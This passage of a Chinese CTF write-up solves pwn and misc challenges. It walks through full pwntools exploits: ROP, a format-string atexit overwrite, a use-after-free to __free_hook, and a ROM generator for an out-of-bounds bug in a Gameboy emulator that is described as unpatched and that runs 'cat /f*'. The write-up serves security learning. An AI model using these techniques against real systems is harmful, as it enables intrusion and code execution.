找一下,會找到可以控 `rdi`、`rsi` 的 gadget ``` pop_rdi_ret = 0x00000000004013a3 pop_rsi_pop_x_ret = 0x00000000004013a1 ``` 可以並且程式中有 call `read()` 跟 `puts()`,所以可以用這兩個 function。 雖然沒控到 `rdx`,但因為 `read()` 中 `rdx` 是要讀的長度,在 return 的時候是一個可接受的值,所以無所謂。 所以大致流程就是 1. send 0xff 2. buffer overflow 1. overwrite return address 2. ROP 1. read 2. puts 不過因為當初在做的時候,read 填錯位置,沒直接用 `plt` 的,用成 `fini` 中的 `call read` 並且後面接著 `leave; ret`。 所以變成多做了 stack pivoting,然後讀第二段的 exploit 進來,不過都很快,所以也沒差(? :::spoiler full exploit ```python= from pwn import * context.terminal = ['tmux', 'splitw', '-h'] context.binary = './hello-world' if args['REMOTE']: p = remote('edu-ctf.zoolab.org', 30212) else: p = process('./hello-world') buf_addr = 0x7fffffffe3d0 ret_addr = 0x7fffffffe448 sleep(20) p.send("\xff") pop_rdi_ret = 0x00000000004013a3 pop_rsi_pop_x_ret = 0x00000000004013a1 read_addr = 0x4012f7 puts_addr = 0x401310 rop_chain = 0x404800 flag_buf = 0x404400 ROPchain = flat( pop_rdi_ret, 0, pop_rsi_pop_x_ret, rop_chain, 0, read_addr ) p.send(b'A' * (ret_addr - buf_addr - 8) + p64(rop_chain) + ROPchain) stage_2_rop = flat( rop_chain + 8*6, pop_rdi_ret, 3, pop_rsi_pop_x_ret, flag_buf, 0, read_addr, pop_rdi_ret, 1, pop_rdi_ret, flag_buf, puts_addr ) raw_input("@") p.send(stage_2_rop) p.interactive() ``` ::: ### fullchain-buff 題目有提供兩種 function `mywrite()` 和 `myread()`。 並且可以選擇做這兩個 function 的時候,要讀/寫出的 buffer 位在 stack 還是 global。 題目允許做3次操作 (值得注意的是記錄次數的 `cnt` 是存在暫存器 `rbx` 中)。 ```c= void chal() { ... register int cnt = 3; while (cnt--) { printf("global or local > "); scanf("%10s", local); // ptr = stack buffer or global buffer printf("read or write > "); scanf("%10s", local); if (!strncmp("read", local, 4)) myread(ptr); else if (!strncmp("write", local, 5)) mywrite(ptr); else exit(1); } puts("Bye ~"); exit(1); } ``` 而題目主要的 bug 是發生在 `mywrite()` 中,有 format string bug ```c= void mywrite(char *addr) { printf(addr); } ``` 一般直覺的做法會是 1. leak address 2. 寫 format string 到 global 3. 把要任意寫的地方寫到 stack 上 4. 觸發 format string bug 但這樣會需要 4 次。 所以想法變成想辦法其中一個地方省略掉, 這邊用的方法是 stack 上,會存在著 rbp chain, 舉例來說像下面這個範例 02:0010 的地方 ``` 02:0010_ rbp 0x7fff8bd6cd10 __ 0x7fff8bd6cd70 __ 0x7fff8bd6cd80 __ 0x0 03:0018_ 0x7fff8bd6cd18 __ 0x401410 (chal+331) __ jmp 0x40141c ``` 這個地方會指到 `0x7fff8bd6cd70` ,而且 `0x7fff8bd6cd70` 裡面存的是 `0x7fff8bd6cd80` 如果我們透過修改 `0x7fff8bd6cd70` 的最後一個 byte, 把 `0x7fff8bd6cd80` 變成 `0x7fff8bd6cd18` (return address)。 接著透過 format string bug 改 `0x7fff8bd6cd18` 的值,就能控程式流。 控程式流之後,有一個不錯的 gadget ``` 0x40141c <chal+343>: mov eax,ebx 0x40141e <chal+345>: lea ebx,[rax-0x1] <-- here 0x401421 <chal+348>: test eax,eax ``` 這是在 `while(cnt--)` 的時候做的事,如果直接 return 到這邊,cnt (rbx) 就會變成一個很大的數字,就能進行更多次操作。 於是就能做最上面想做的事 1. leak libc address 2. 寫 format string 到 global 3. 把 `&__elf_set___libc_atexit_element__IO_cleanup__` 寫到 stack上 (這是一個 function pointer,exit 的時候,會執行到這個地方所指向的 function) 4. 觸發 format string bug,把 `__elf_set___libc_atexit_element__IO_cleanup__` 的值寫成 one_gadget,這樣 exit 的時候就能拿到 shell。 :::spoiler full exploit ```python= from pwn import * context.terminal = ['tmux', 'splitw', '-h'] context.binary = './fullchain-buff' while True: try: if args['REMOTE']: p = remote('edu-ctf.zoolab.org', 30205) else: p = process('./fullchain-buff') p.sendlineafter("global or local > ", "global") p.sendlineafter("> ", "read") p.sendlineafter("length > ", "23") p.send("%136c%8$hhn%5014c%20$hn") gdb.attach(p, gdbscript="""b mywrite""") p.sendlineafter("global or local > ", "global") p.sendlineafter("> ", "write") p.sendlineafter("global or local > ", "global") p.sendlineafter("> ", "write") # cnt = 0x14xx p.sendlineafter("global or local > ", "local") p.sendlineafter("> ", "write%23$p") p.recvuntil('0x') libc = int(p.recv(12), base=16) - 0x270b3 __elf_set___libc_atexit_element__IO_cleanup__ = libc + 0x1ed608 one_gadget = libc + 0xe6c7e print(hex(libc)) print(hex(__elf_set___libc_atexit_element__IO_cleanup__)) print(hex(one_gadget)) for i in range(3): p.sendlineafter("global or local > ", "global") p.sendlineafter("> ", "read") p.sendlineafter("length > ", "23") p.sendline("%{}c%14$hhn\x00".format((one_gadget >> (i*8)) & 0xff)) p.sendlineafter("global or local > ", "local") p.sendlineafter("> ", "read") p.sendlineafter("length > ", "23") p.send(b"A" * 0x10 + p64(__elf_set___libc_atexit_element__IO_cleanup__ + i)[:-1]) p.sendlineafter("global or local > ", "global") p.sendlineafter("> ", "write") p.sendlineafter("> ", "A") p.interactive() break except: p.close() ``` ::: ### myfs {1,2,3} 因為這三題解法都一樣,只是差在最後面做的事不同,所以這邊就一起講。 這題是一個選單式的題目,情境就像是有一個檔案系統, 你有一個 shell 可以去看上面有哪些 file,並且你可以對 file 做 read, write 操作,也可以 create, rm,甚至是創立 softlink 或 hardlink。 如果看一下 code 會發現,實際上在 rm 一個檔案的時候, 在 `delete_mf` 時,會將檔案從 dir list 拔掉, 接著才會做 `_release_mf`,去完整的 `free` 掉檔案相關的一些結構。 ```c= int delete_mf(GC *gc, MyUser *mu, MyFile *mf) { ... list_delete(&mu->curr_dir->dir_hd, &mf->next_file); ... } int _release_mf(MyFile *mf) { ... if (mf->refcnt) // --- [2] return 0; ... if (mf_is_normfile(mf)) { free(mf->data.ino->content); free(mf->data.ino); } ... } else if (mf_is_slink(mf)) { // try to release softlink target _release_mf(mf->data.link); // --- [1] } ... ret: free(mf->fn); free(mf); return 0; } ``` 這邊有一個值得我們注意的是 [1] 如果 rm 一個 softlink 的時候,他會去遞迴把 softlink 實際指向的檔案也做 `_release_mf`。 不過在做 `_release_mf` 他也會做 [2] 檢查現在這個檔案的 reference count,來判斷是不是真的要被釋放掉了。 這樣看起來很正常,然而 refcnt 的類型是 `uint8_t` 且在 create softlink 的時候,他會直接將 refcnt + 1。 ```c= MyFile *_new_slink(uint8_t uid, MyFile *link, char *fn) { ... link->refcnt++; return mf; } ``` 這意味著如果創超過 255 個 softlink,就會發生 integer overflow,這時候如果將其中一個 softlnk rm 掉,他實際指向的 file 也會被 free 掉,但實際上那個 file 還不該被 free 掉,於是接下來就會發生 use after free 的情況。 然而實際在對一個已經被 free 回去的 file 做操作時,還會遇到一些問題,因為他會去檢查這個檔案的一些 flag、權限,才會對檔案做操作。 但因為這些東西是存在 chunk 的 fd 的位置的,我們沒辦法完全控制,不過因為要滿足的 flag bit 不多,所以有蠻大的成功率還是能做操作 (> 1/256)。 剩下來的就是做 heap 風水,去控制 tcache,之後就能 allocate 任意位置。 最後根據不同題目做法也不完全相同 1. myfs 1 透過 allocate 重疊的 chunk,將 content 的 pointer 改指到 flag,把檔案內容印出就會是 flag 了。 2. myfs 2 透過偽造一個 encrypted file 的結構,同時將 owner 設成自己,並且將 content 指到 encrypted flag,然後直接 decrypt 後印出。 3. myfs 3 allocate 到 `__free_hook`,把 `__free_hook` 寫成 `system`,再把一個內容是 `"/bin/sh"` 的 chunk 給 `free()` 掉。 :::spoiler myfs 1 full exploit ```python= from pwn import * import os import secrets import hashlib from time import time context.terminal = ['tmux', 'splitw', '-h'] context.binary = './myfs' cnt = 0 class NcPowser: def __init__(self, difficulty=22, prefix_length=16): self.difficulty = difficulty self.prefix_length = prefix_length def get_challenge(self): return secrets.token_urlsafe(self.prefix_length)[:self.prefix_length].replace('-', 'b').replace('_', 'a') def verify_hash(self, prefix, answer): h = hashlib.sha256() h.update((prefix + answer).encode()) bits = ''.join(bin(i)[2:].zfill(8) for i in h.digest()) return bits.startswith('0' * self.difficulty) def pow_solver(p): p.recvuntil('(') prefix = p.recvuntil(' ')[:-1].decode() p.recvuntil('(') difficulty = int(p.recvuntil(')')[:-1]) powser = NcPowser(difficulty, len(prefix)) print(f''' sha256({prefix} + ???) == {'0'*powser.difficulty}({powser.difficulty})... ''') last = int(time()) i = 0 while not powser.verify_hash(prefix, str(i)): i += 1 print(int(time()) - last, 'seconds') print(f"sha256({prefix} + {i}) == {'0'*powser.difficulty}({powser.difficulty})") p.sendlineafter("POW answer: ", str(i)) while True: cnt+=1 print(cnt) if args['REMOTE']: p = remote('edu-ctf.zoolab.org', 30213) pow_solver(p) else: os.system('cp flag* /home/myfs/') p = process('./myfs') NORM = 'normfile' DIR = 'dir' R = 'read' W = 'write' RW = 'read,write' def create(type, name): p.sendlineafter("> ", "create {} {}".format(type, name)) def cd(name): p.sendlineafter("> ", "cd {}".format(name)) def rm(name): p.sendlineafter("> ", "rm {}".format(name)) def read(name, data): p.sendlineafter("> ", "read {}".format(name)) p.sendline(data) def write(name): p.sendlineafter("> ", "write {}".format(name)) def set_prot(name, prot): p.sendlineafter("> ", "set {} {}".format(name, prot)) def slss(name): p.sendlineafter("> ", "slss {}".format(name)) def slsd(name): p.sendlineafter("> ", "slsd {}".format(name)) def hlss(name): p.sendlineafter("> ", "hlss {}".format(name)) def hlsd(name): p.sendlineafter("> ", "hlsd {}".format(name)) def useradd(username, password): p.sendlineafter("> ", "useradd {} {}".format(username, password)) def login(username, password): p.sendlineafter("> ", "login {} {}".format(username, password)) def set_prot(name, prot): p.sendlineafter("> ", "set {} {}".format(name, prot)) flag1_offset = 0x620 create(NORM, 'AAA') read('AAA', 'A' * 0x420) for i in range(253): slss('AAA') slsd('AAA_{}'.format(i)) for i in range(3, 0xff): useradd(f'{i}', f'{i}') slss('AAA') slsd('BBB') slss('AAA') slsd('CCC') create(NORM, 'DDD') for i in range(12): create(NORM, "{}".format(i)) for i in range(12): rm("{}".format(i)) rm('CCC') rm('DDD') for i in range(0xf): login(f'{i*0x10+0x6}', f'{i*0x10+0x6}') write('AAA_0') tmp = p.recv(8) print(tmp) if tmp != b'[' and b'\x55' in tmp or b'\x56' in tmp: heap = u64(tmp) - 0x12660 print(hex(heap)) print(cnt) break else: p.close() continue create(NORM, 'b1') create(NORM, 'b2') create(NORM, p64(heap+0x10)[:-1].decode('latin-1')) # +0x12ae0 p.sendlineafter("> ", "read AAA_1") p.send(p64(0x0000000000010003) + b'\x00' * 0x78 + p64(heap + 0x220) + p64(heap + 0x1260) + b'\x00' * (0x220 - 0x80 - 0x30) + flat( 0, 0x21, heap + 0x240, 0, 0, 0x21, heap + 0x260, 0, 0, 0x21, 0, 0 ) + b'\x00' * 0xf) # gdb.attach(p) create(NORM, 'victim') flag1 = heap + flag1_offset target = flag1 p.sendlineafter("> ", "read AAA_1") p.send(p64(0x0000000000010003) + b'\x00' * 0x78 + p64(heap + 0x220) + p64(heap + 0x1260) + b'\x00' * (0x220 - 0x80 - 0x30) + flat( 0, 0x21, 0x6d6974636976, 0, 0, 0x21, 0, 0, 0, 0x21, 0, 0 ) + b'\x00' * 0xf) read('victim', 'A' * 0x80) p.sendlineafter("> ", "read AAA_1") p.send(p64(0x0000000000010003) + b'\x00' * 0x78 + p64(heap + 0x220) + p64(heap + 0x1260) + b'\x00' * (0x220 - 0x80 - 0x30) + flat( 0, 0x21, 0x6d6974636976, 0, 0, 0x21, target, 0, 0, 0x21, 0, 0 ) + b'\x00' * 0xf) p.sendlineafter("> ", "write victim") p.interactive() exit() # FLAG{i am stupid} ``` ::: :::spoiler myfs 2 full exploit ```python= from pwn import * import os import secrets import hashlib from time import time context.terminal = ['tmux', 'splitw', '-h'] context.binary = './myfs' cnt = 0 class NcPowser: def __init__(self, difficulty=22, prefix_length=16): self.difficulty = difficulty self.prefix_length = prefix_length def get_challenge(self): return secrets.token_urlsafe(self.prefix_length)[:self.prefix_length].replace('-', 'b').replace('_', 'a') def verify_hash(self, prefix, answer): h = hashlib.sha256() h.update((prefix + answer).encode()) bits = ''.join(bin(i)[2:].zfill(8) for i in h.digest()) return bits.startswith('0' * self.difficulty) def pow_solver(p): p.recvuntil('(') prefix = p.recvuntil(' ')[:-1].decode() p.recvuntil('(') difficulty = int(p.recvuntil(')')[:-1]) powser = NcPowser(difficulty, len(prefix)) print(f''' sha256({prefix} + ???) == {'0'*powser.difficulty}({powser.difficulty})... ''') last = int(time()) i = 0 while not powser.verify_hash(prefix, str(i)): i += 1 print(int(time()) - last, 'seconds') print(f"sha256({prefix} + {i}) == {'0'*powser.difficulty}({powser.difficulty})") p.sendlineafter("POW answer: ", str(i)) while True: cnt+=1 if args['REMOTE']: p = remote('edu-ctf.zoolab.org', 30213) pow_solver(p) else: os.system('cp flag* /home/myfs/') p = process('./myfs') NORM = 'normfile' DIR = 'dir' R = 'read' W = 'write' RW = 'read,write' def create(type, name): p.sendlineafter("> ", "create {} {}".format(type, name)) def cd(name): p.sendlineafter("> ", "cd {}".format(name)) def rm(name): p.sendlineafter("> ", "rm {}".format(name)) def read(name, data): p.sendlineafter("> ", "read {}".format(name)) p.sendline(data) def write(name): p.sendlineafter("> ", "write {}".format(name)) def set_prot(name, prot): p.sendlineafter("> ", "set {} {}".format(name, prot)) def slss(name): p.sendlineafter("> ", "slss {}".format(name)) def slsd(name): p.sendlineafter("> ", "slsd {}".format(name)) def hlss(name): p.sendlineafter("> ", "hlss {}".format(name)) def hlsd(name): p.sendlineafter("> ", "hlsd {}".format(name)) def useradd(username, password): p.sendlineafter("> ", "useradd {} {}".format(username, password)) def login(username, password): p.sendlineafter("> ", "login {} {}".format(username, password)) def set_prot(name, prot): p.sendlineafter("> ", "set {} {}".format(name, prot)) flag1_offset = 0x620 create(NORM, 'AAA') read('AAA', 'A' * 0x420) for i in range(253): slss('AAA') slsd('AAA_{}'.format(i)) for i in range(3, 0xff): useradd(f'{i}', f'{i}') slss('AAA') slsd('BBB') slss('AAA') slsd('CCC') create(NORM, 'DDD') for i in range(12): create(NORM, "{}".format(i)) for i in range(12): rm("{}".format(i)) rm('CCC') rm('DDD') for i in range(0xf): login(f'{i*0x10+0x6}', f'{i*0x10+0x6}') write('AAA_0') tmp = p.recv(8) print(tmp) if tmp != b'[' and b'\x55' in tmp or b'\x56' in tmp: heap = u64(tmp) - 0x12660 uid = i*0x10+0x6 print(hex(heap)) print(cnt) break else: p.close() continue create(NORM, 'b1') create(NORM, 'b2') create(NORM, p64(heap+0x10)[:-1].decode('latin-1')) p.sendlineafter("> ", "read AAA_1") p.send(p64(0x0000000000010003) + b'\x00' * 0x78 + p64(heap + 0x220) + p64(heap + 0x1f0) + b'\x00' * (0x220 - 0x80 - 0x30 - 0x30) + flat( 0, 0x31, heap + 0x1260, 0, 0, 0, 0, 0x21, heap + 0x240, 0, 0, 0x21, heap + 0x260, 0, 0, 0x21, 0, 0 ) + b'\x00' * 0xf) create(NORM, 'victim') flag2_enc = heap + 0x13c0 p.sendlineafter("> ", "read AAA_1") p.send(p64(0x0000000000000000) + b'\x00' * 0x78 + p64(0) + p64(0) + b'\x00' * (0x220 - 0x80 - 0x30 - 0x30) + flat( 0, 0x31, 0x2005010002 + (uid<<8), heap+0x220, heap+0x240, heap + 0x12b00, 0, 0x21, 0x6d6974636976, 0, 0, 0x21, flag2_enc, 0 ) + b'\x00' * 0xf) p.sendlineafter("> ", "dec victim") p.sendlineafter("> ", "write victim") p.interactive() exit() # how2lose ``` ::: :::spoiler myfs 3 full exploit ```python= from pwn import * import os import secrets import hashlib from time import time context.terminal = ['tmux', 'splitw', '-h'] context.binary = './myfs' cnt = 0 class NcPowser: def __init__(self, difficulty=22, prefix_length=16): self.difficulty = difficulty self.prefix_length = prefix_length def get_challenge(self): return secrets.token_urlsafe(self.prefix_length)[:self.prefix_length].replace('-', 'b').replace('_', 'a') def verify_hash(self, prefix, answer): h = hashlib.sha256() h.update((prefix + answer).encode()) bits = ''.join(bin(i)[2:].zfill(8) for i in h.digest()) return bits.startswith('0' * self.difficulty) def pow_solver(p): p.recvuntil('(') prefix = p.recvuntil(' ')[:-1].decode() p.recvuntil('(') difficulty = int(p.recvuntil(')')[:-1]) powser = NcPowser(difficulty, len(prefix)) print(f''' sha256({prefix} + ???) == {'0'*powser.difficulty}({powser.difficulty})... ''') last = int(time()) i = 0 while not powser.verify_hash(prefix, str(i)): i += 1 print(int(time()) - last, 'seconds') print(f"sha256({prefix} + {i}) == {'0'*powser.difficulty}({powser.difficulty})") p.sendlineafter("POW answer: ", str(i)) while True: cnt+=1 if args['REMOTE']: p = remote('edu-ctf.zoolab.org', 30213) pow_solver(p) else: os.system('cp flag* /home/myfs/') p = process('./myfs') NORM = 'normfile' DIR = 'dir' R = 'read' W = 'write' RW = 'read,write' def create(type, name): p.sendlineafter("> ", "create {} {}".format(type, name)) def cd(name): p.sendlineafter("> ", "cd {}".format(name)) def rm(name): p.sendlineafter("> ", "rm {}".format(name)) def read(name, data): p.sendlineafter("> ", "read {}".format(name)) p.sendline(data) def write(name): p.sendlineafter("> ", "write {}".format(name)) def set_prot(name, prot): p.sendlineafter("> ", "set {} {}".format(name, prot)) def slss(name): p.sendlineafter("> ", "slss {}".format(name)) def slsd(name): p.sendlineafter("> ", "slsd {}".format(name)) def hlss(name): p.sendlineafter("> ", "hlss {}".format(name)) def hlsd(name): p.sendlineafter("> ", "hlsd {}".format(name)) def useradd(username, password): p.sendlineafter("> ", "useradd {} {}".format(username, password)) def login(username, password): p.sendlineafter("> ", "login {} {}".format(username, password)) def set_prot(name, prot): p.sendlineafter("> ", "set {} {}".format(name, prot)) flag1_offset = 0x620 create(NORM, 'AAA') read('AAA', 'A' * 0x420) for i in range(252): slss('AAA') slsd('AAA_{}'.format(i)) slss('AAA') slsd('/bin/sh\x00') for i in range(3, 0xff): useradd(f'{i}', f'{i}') slss('AAA') slsd('BBB') slss('AAA') slsd('CCC') create(NORM, 'DDD') for i in range(12): create(NORM, "{}".format(i)) for i in range(12): rm("{}".format(i)) rm('CCC') rm('DDD') for i in range(0xf): login(f'{i*0x10+0x6}', f'{i*0x10+0x6}') write('AAA_0') tmp = p.recv(8) print(tmp) if tmp != b'[' and b'\x55' in tmp or b'\x56' in tmp: heap = u64(tmp) - 0x12660 print(hex(heap)) print(cnt) break else: p.close() continue create(NORM, 'b1') create(NORM, 'b2') create(NORM, p64(heap+0x10)[:-1].decode('latin-1')) # +0x12ae0 p.sendlineafter("> ", "read AAA_1") p.send(p64(0x0000000000010003) + b'\x00' * 0x78 + p64(heap + 0x220) + p64(heap + 0x1260) + b'\x00' * (0x220 - 0x80 - 0x30) + flat( 0, 0x21, heap + 0x240, 0, 0, 0x21, heap + 0x260, 0, 0, 0x21, 0, 0 ) + b'\x00' * 0xf) create(NORM, 'victim') p.sendlineafter("> ", "read AAA_1") p.send(p64(0x0000000000010003) + b'\x00' * 0x78 + p64(heap + 0x220) + p64(heap + 0x1260) + b'\x00' * (0x220 - 0x80 - 0x30) + flat( 0, 0x21, 0x6d6974636976, 0, 0, 0x21, 0, 0, 0, 0x21, 0, 0 ) + b'\x00' * 0xf) target = heap + 0x15c0 read('victim', 'A' * 0x80) p.sendlineafter("> ", "read AAA_1") p.send(p64(0x0000000000010003) + b'\x00' * 0x78 + p64(heap + 0x220) + p64(heap + 0x1260) + b'\x00' * (0x220 - 0x80 - 0x30) + flat( 0, 0x21, 0x6d6974636976, 0, 0, 0x21, target, 0, 0, 0x21, 0, 0 ) + b'\x00' * 0xf) p.sendlineafter("> ", "write victim") libc = u64(p.recv(6).ljust(8, b'\x00')) - 0x1ebbe0 hook = libc + 0x1eeb28 one_gadget = libc + 0xe6c84 system = libc + 0x55410 print(hex(libc)) print(hex(hook)) print(hex(one_gadget)) p.sendlineafter("> ", "read AAA_1") p.send(p64(0x0000000000010003) + b'\x00' * 0x78 + p64(heap + 0x220) + p64(heap + 0x1260) + b'\x00' * (0x220 - 0x80 - 0x30) + flat( 0, 0x21, 0x6d6974636976, 0, 0, 0x21, hook, 0, 0, 0x21, 0, 0 ) + b'\x00' * 0xf) read('victim', p64(system) + b'\x00' * 0x78) for i in range(15): rm(f'AAA_{i}') rm('/bin/sh') p.interactive() exit() # FLAG: FLAG{i hate the padding oracle :(} ``` ::: ### pwnboy 這題是直接拿一個 Gameboy Emulator 的 repo 來出, 版本是最新的,poc、 patch diff 都沒有 == 這個 Gameboy Emulator 在做的事,就是在執行時會動態將 Gameboy ROM 裡面的那些 instruction 轉譯成 x86_64 的 instruction,然後去執行。 經過一番 code auditing (HexRabbit 為什麼要讓我看這種東西 QwQ) 發現了一個有趣的東西。 在 gameboy assembly 中,可以將暫存器的值寫到一個 memory 上 e.g. `ld [$a000], a` 這個 instruction 轉譯完之後會變成 ``` ... mov rArg1, state mov rArg2, addr mov rArg3, value mov rax, &gb_memory_write call rax ... ``` 也就是 call `gb_memory_write`, 看一下精簡過後的 `gb_memory_write` source code: ```c= /* emulate write through mbc */ void gb_memory_write(gb_state *state, uint64_t addr, uint64_t value) { addr &= 0xffff; value &= 0xff; if (addr < 0x8000) { switch (state->mem->mbc) { case MBC_NONE: break; case MBC2_BAT: case MBC2: case MBC1_RAM_BAT: case MBC1: ... case MBC3_TIMER_RAM_BAT: case MBC3_RAM_BAT: case MBC3: ... case MBC5_RAM_BAT: case MBC5: if (addr >= 0x4000) { gb_memory_change_ram_bank(state->mem, value); } else if (addr >= 0x2000) { int bank = value; gb_memory_change_rom_bank(state->mem, bank); } break; default: break; } } else if (addr == 0xff05) { ... } else if (addr == 0xff00) { ... } else if (addr >= 0xff80) { ... } else if (addr >= 0xff10 && addr <= 0xff3f) { ... } else { mem[addr] = value; } #endif } ``` 在 `addr >= 0x8000` 的時候,除了 0xffXX 的某些位置外,他會直接將 value 寫在 mem 上。 並且在 `mbc` 是 MBC5 的時候 (只要將 rom 的第 0x147 byte 設成 0x19 就行了),如果寫到 0x4000~0x7fff 這段區間的值,他會 call `gb_memory_change_ram_bank` ```c= /* change RAM bank to bank if supported */ static void gb_memory_change_ram_bank(gb_memory *mem, int bank) { if (mem->current_ram_bank == bank) return; if (!mem->rtc_access) { gb_memory_ram_flush(mem); } memcpy(mem->mem + 0xa000, mem->ram_banks + bank * 0x2000, 0x2000); // --- [0] mem->rtc_access = false; mem->current_ram_bank = bank; } void gb_memory_ram_flush(gb_memory *mem) { memcpy(mem->ram_banks + mem->current_ram_bank * 0x2000, mem->mem + 0xa000, 0x2000); // --- [1] } ``` 這個 function 大概的用意是可以根據狀況去進行切換 RAM bank。 切換的流程大概就是, 1. 將現有的記憶體上的 0xa000 ~ 0xc000 這段空間,寫回他的 ram bank。 2. 將我們指定的 ram bank,讀到現有記憶體的 0xa000 ~ 0xc000 上, 最關鍵的是他在進行這些記憶體切換的讀寫的時候 ( [1] 和 [2] ), 他做的是直接將 `mem->mem + 0xa000` 的東西複製到 `mem->ram_banks + mem->current_ram_bank * 0x2000` 或相反。 其中 `current_ram_bank` 是我們可控的值,可以是 0x00 ~ 0xff。 然而如果去看 `mem->ram_banks` 的空間怎麼來的,會發現他只有 4 個 ram banks ```c= bool gb_memory_init(gb_memory *mem, const char *filename) { ... mem->ram_banks = malloc(MAX_RAM_BANKS * 0x2000); // MAX_RAM_BANKS = 4 ... } ``` 也就是說,如果 `current_ram_bank >= 4`,就會發生 oob r/w,於是就能根據實際執行的時候 heap 上面的值,來做任意修改。 所以最後的 exploit 過程如下: 1. 將要改寫的 memory (bank index: 4) copy 到 0xa000~0xc000 2. 找出 heap 上的 libc 值並將他透過 offset 算成 `system` 3. 將 heap 上會被 call 到的 function pointer 換成 `system` 4. 將在 call `system` 時的 rdi 指向的地方的值 (也在 heap 上),寫成 `"/bin/sh"` 5. 將改寫完的 memory 寫回去原本的地方 :::spoiler exploit rom generator modified from https://github.com/dusterherz/gb-hello-world template ``` INCLUDE "hardware.inc" SECTION "Header", rom0[$100] EntryPoint: di jp Start REPT $147 - $104 db 0 ENDR db 25 /* MBC5 */ REPT $150 - $148 ENDR SECTION "Game Code", rom0 Start: REPLACE_HERE SECTION "Font", ROM0 SECTION "Hello World string", ROM0 HelloWorldStr: db "Hello Github!", 0 ``` gen_remote_exp.py ```python= import os from pwn import * with open('template', 'r') as f: template = f.read() payload = "" def switch_bank_ram(bank): result = """\ xor a add a, {} ld [$4000], a """.format(bank) return result def write_mem(addr, value): result = """\ xor a add a, {} ld [${}], a """.format(value, hex(addr)[2:]) return result def write_mem64(addr, value): result = "" for i in range(8): result += write_mem(addr+i, value & 0xff) value >>= 8 return result def load_sub_save(dest, src, val): result = """\ ld a, [${}] sbc a, {} ld [${}], a """.format(hex(src)[2:], val, hex(dest)[2:]) return result def load_sub_save_mem48(dest, src, value): result = "" for i in range(6): result += load_sub_save(dest+i, src+i, value & 0xff) value >>= 8 return result base = 0xa000 io_wfile_vtable = base+ 0x200 cmd_ptr = io_wfile_vtable + 0x790 func_ptr = cmd_ptr + 0x58 vtable_offset = 0x1ecf60 system_offset = 0x55410 payload += switch_bank_ram(4) payload += load_sub_save_mem48(func_ptr, io_wfile_vtable, vtable_offset - system_offset) payload += write_mem64(cmd_ptr, int(u64('cat /f*'.ljust(8, '\x00')))) payload += switch_bank_ram(87) with open('main.asm', 'w') as f: f.write(template.replace("REPLACE_HERE", payload)) f.close() os.system('make') ``` ::: ## Misc ### LeetCall 利用 `open(0).read()` 一次讀取所有輸入,再利用 `getattr` 和 `map` 產生符合 ast whitelist 的程式。 #### Problem 1: Hello 114 bytes ```python= # print('\n'.join(map('Hello, {}!'.format(open(0).read().split('\n'))))) print(getattr('\n','join')(map(getattr('Hello, {}!','format'),getattr(getattr(open(0),'read')(),'split')('\n')))) ``` #### Problem 2: Fibonacci 在 $F_1$ ~ $F_{70}$,$\displaystyle{F(n) = \lfloor \frac{(1+\sqrt5)^n}{2^n \sqrt5} \rfloor = \lfloor \frac{1.618033988749895^n}{2.23606797749979} \rfloor}$。 248 bytes ```python= # Warning( # v = list(), # v.append1.618033988749895, # list(map(print, # map(round, # map((0.447213595499957).__mul__, # map(pow, # v*99, # map(int,open(0).read().split()) # ))) # )) # ) Warning(getattr(vars(),'__setitem__')('v',list()),getattr(v,'append')(1.618033988749895),list(map(print,map(round,map(getattr(0.447213595499957,'__mul__'),map(pow,getattr(v,'__mul__')(99),map(int,getattr(getattr(open(0),'read')(),'split')()))))))) ``` #### Problem 3: FizzBuzz 參考這篇的作法 http://philcrissman.net/posts/eulers-fizzbuzz/ 396 bytes ```python= # Warning( # g = getattr, # s = g(vars(),'__setitem__')), # v = list(), v.append(4), # u = list(), u.append(15), # d = dict(), t = g(d,'__setitem__')), # d[0] = 'FizzBuzz', d[6] = 'Fizz', d[10] = 'Buzz', # list( # map(print, # map(d.get, # map( # int.__mod__, # map( # pow, # range(1,10001), # v * 10000 # ), # u * 10000 # ), # map(str, range(1,10001)) # )) # ) # ) Warning(getattr(vars(),'__setitem__')('g',getattr),g(vars(),'__setitem__')('s',g(vars(),'__setitem__')),s('v',list()),g(v,'append')(4),s('u',list()),g(u,'append')(15),s('d',dict()),s('t',g(d,'__setitem__')),t(0,'FizzBuzz'),t(6,'Fizz'),t(10,'Buzz'),list(map(print,map(g(d,'get'),map(g(int,'__mod__'),map(pow,range(1,10001),g(v,'__mul__')(10000)),g(u,'__mul__')(10000)),map(str,range(1,10001)))))) ``` `FLAG{actually_you_can_also_solve_those_leetcode_challenges_in_this_way:D}` ### RCE 這題基本上如下: ```bash #!/bin/sh # check clang works clang /check.c if [ $? = 1 ] then echo 'cannot compile' exit fi rm /check.c # compile given code clang /code.c if [ $? = 1 ] then echo 'cannot compile' exit fi # run it! /a.out ``` `check.c` 是個直接 `puts("FLAG{...}");` 的 `C` 程式,而 `code.c` 是個可以自己上傳的檔案,沒有任何限制。只是因為這個是每次另外在新的 docker container 跑的,所以沒辦法直接打這題的網頁服務。 可以看到說它會編譯完 `check.c` 之後刪除之,然後編譯你的 code 之後執行。可以注意到說在編譯 `code.c` 的時候 `a.out` 其實是存在的,所以如果能把 `a.out` 用某些方法在 compile time 塞進 binary 中的話就簡單了。 Google 一下可以找到 [Include binary file with gcc/clang](https://gist.github.com/mmozeiko/ed9655cf50341553d282),能讓你 include 任意檔案進來到一個 buffer 中。所以 include 進來後直接在 ELF 中搜尋 flag 然後輸出即可。 :::spoiler solve.c ```c= #include <stdio.h> #define STR2(x) #x #define STR(x) STR2(x) #define INCBIN(name, file) \ __asm__(".section .rodata\n" \ ".global incbin_" STR(name) "_start\n" \ ".balign 16\n" \ "incbin_" STR(name) "_start:\n" \ ".incbin \"" file "\"\n" \ \ ".global incbin_" STR(name) "_end\n" \ ".balign 1\n" \ "incbin_" STR(name) "_end:\n" \ ".byte 0\n" \ ); \ extern const __attribute__((aligned(16))) void* incbin_ ## name ## _start; \ extern const void* incbin_ ## name ## _end; \ INCBIN(bin, "a.out"); int main() { printf("start = %p\n", &incbin_bin_start); printf("end = %p\n", &incbin_bin_end); printf("size = %zu\n", (char*)&incbin_bin_end - (char*)&incbin_bin_start); for(char *p=(char*)&incbin_bin_start; p!=&incbin_bin_end; p++) { if(!strncmp(p, "FLAG{", 5)) { printf("%.120s\n", p); break; } } printf("first byte = 0x%02x\n", ((unsigned char*)&incbin_bin_start)[0]); } ``` ::: Flag: `FLAG{g1thu6_i55ue_is_a_gr3at_pL4ce_t0_find_bugssss}` ### babyheap 這題 nc 上去會看到像是一個一般 heap note 的 menu,只是在 malloc 輸入 size 